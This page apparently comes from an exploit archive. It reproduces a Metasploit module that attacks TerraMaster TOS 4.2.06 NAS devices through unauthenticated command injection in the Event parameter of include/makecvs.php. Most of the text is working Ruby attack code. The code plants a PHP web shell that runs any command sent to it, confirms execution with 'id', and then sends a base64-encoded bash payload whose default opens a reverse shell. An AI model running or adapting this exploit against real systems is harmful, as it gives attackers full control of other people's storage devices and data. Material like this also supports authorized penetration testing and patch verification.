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TerraMaster TOS 4.2.06 Remote Code Execution

TerraMaster TOS 4.2.06 Remote Code Execution
Posted Dec 23, 2020
Authored by IHTeam, Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits an unauthenticated command execution vulnerability in TerraMaster TOS version 4.2.06 leveraging include/makecvs.php.

tags | exploit, php
SHA-256 | 1ca4ee63f6107490fe17d396df7f0153a5c29930a496321ceec2101872db5321

TerraMaster TOS 4.2.06 Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution",
'Description' => %q(
This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.
The "Event" parameter in "include/makecvs.php" contains a vulnerability.
"filename" is executing command on system during ".csv" creation.
In order to do this, it is not necessary to have a session in the application.
Therefore an unathenticated user can execute the command on the system.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', #PoC & Metasploit module
'IHTeam' # Discovery
],
'References' =>
[
['CVE', '2020-'],
['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'],
['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Dec 12 2020",
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 8181,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl' }))

register_options(
[
OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
]
)
end

def run_cmd(file,cmd)

res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, "#{file}"),
'data' => "cmd=#{cmd}"
})
end

def upload_shell
sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
payload_post = "http|echo \"<?php echo(passthru(\\$_REQUEST['cmd']));?>\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
'vars_get' => {
'Event' => "#{payload_post}",
}
)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "#{sname}"),
'vars_post' => {
'cmd' => 'id'
}
)

if res && res.code == 200 && res.body.include?('uid=')
print_good("Upload completed successfully and command executed!")
run_cmd("#{sname}",payload)
else
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
end
end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
upload_shell
end

def check

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "version"),
)

if res && res.code == 200 && res.body
version = res.body.split(".0_")[1]
print_status("Version : " + res.body)
return CheckCode::Detected if version.nil?
version = version.split(".").join('')
if version <= "4206"
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end
end
end

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